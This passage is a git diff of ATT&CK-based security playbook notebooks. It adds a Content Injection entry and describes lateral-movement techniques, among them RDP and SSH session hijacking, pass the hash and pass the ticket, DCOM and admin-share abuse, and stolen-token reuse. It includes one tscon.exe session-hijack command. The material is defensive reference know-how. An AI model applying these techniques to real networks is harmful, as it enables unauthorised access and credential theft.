adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)" }, { "cell_type": "markdown", - "id": "b63a498f", + "id": "c0478351", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c8701a63", + "id": "9dfa631d", "metadata": {}, "source": "## Detection\nNetwork intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs." }, { "cell_type": "markdown", - "id": "1ad7e240", + "id": "bf5d3bd2", "metadata": {}, "source": "\n## Shield Active Defense\n### Email Manipulation \n Modify the flow or contents of email.\n \n\n Email flow manipulation includes changing which mail appliances process mail flows, to which systems they forward mail, or moving mail after it arrives in an inbox. Email content manipulation includes altering the contents of an email message.\n#### Opportunity\nA phishing email can be detected and blocked from arriving at the intended recipient. \n#### Use Case\nA defender can intercept emails that are detected as suspicious or malicious by email detection tools and prevent deliver to the intended target. \n#### Procedures\nModify the destination of inbound email to facilitate the collection of inbound spearphishing messages.\nModify the contents of an email message to maintain continuity when it is used for adversary engagement purposes.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1659.ipynb b/playbook/tactics/initial-access/T1659.ipynb new file mode 100644 index 00000000..7afe9f03 --- /dev/null +++ b/playbook/tactics/initial-access/T1659.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "b8be37ad", + "metadata": {}, + "source": "# T1659 - Content Injection\nAdversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems.(Citation: ESET MoustachedBouncer)\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)\n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)\n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"(Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)" + }, + { + "cell_type": "markdown", + "id": "0a8fba29", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement.ipynb b/playbook/tactics/lateral-movement.ipynb index 37337eb7..ed638661 100644 --- a/playbook/tactics/lateral-movement.ipynb +++ b/playbook/tactics/lateral-movement.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "b6c85fb7", + "id": "badbbba1", "metadata": {}, - "source": "# Lateral Movement\nThe adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1570 | Lateral Tool Transfer | Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).\nT1563.002 | RDP Hijacking | Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)\nT1563.001 | SSH Hijacking | Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\nT1563 | Remote Service Session Hijacking | Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)\nT1021.006 | Windows Remote Management | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)\nT1021.005 | VNC | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)\nT1021.004 | SSH | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.\nT1021.003 | Distributed Component Object Model | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)\nT1021.002 | SMB/Windows Admin Shares | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)\nT1021.001 | Remote Desktop Protocol | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)\nT1550.004 | Web Session Cookie | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)\nT1550.001 | Application Access Token | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\nT1550.003 | Pass the Ticket | Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\nT1550.002 | Pass the Hash | Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)\nT1550 | Use Alternate Authentication Material | Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n\nT1506 | Web Session Cookie | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) \nT1534 | Internal Spearphishing | Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)\nT1527 | Application Access Token | Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n\nT1210 | Exploitation of Remote Services | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.\nT1175 | Component Object Model and Distributed COM | **This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\nT1184 | SSH Hijacking | Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\nT1097 | Pass the Ticket | Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\nT1091 | Replication Through Removable Media | Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).\nT1080 | Taint Shared Content | \nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.\nT1077 | Windows Admin Shares | Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to 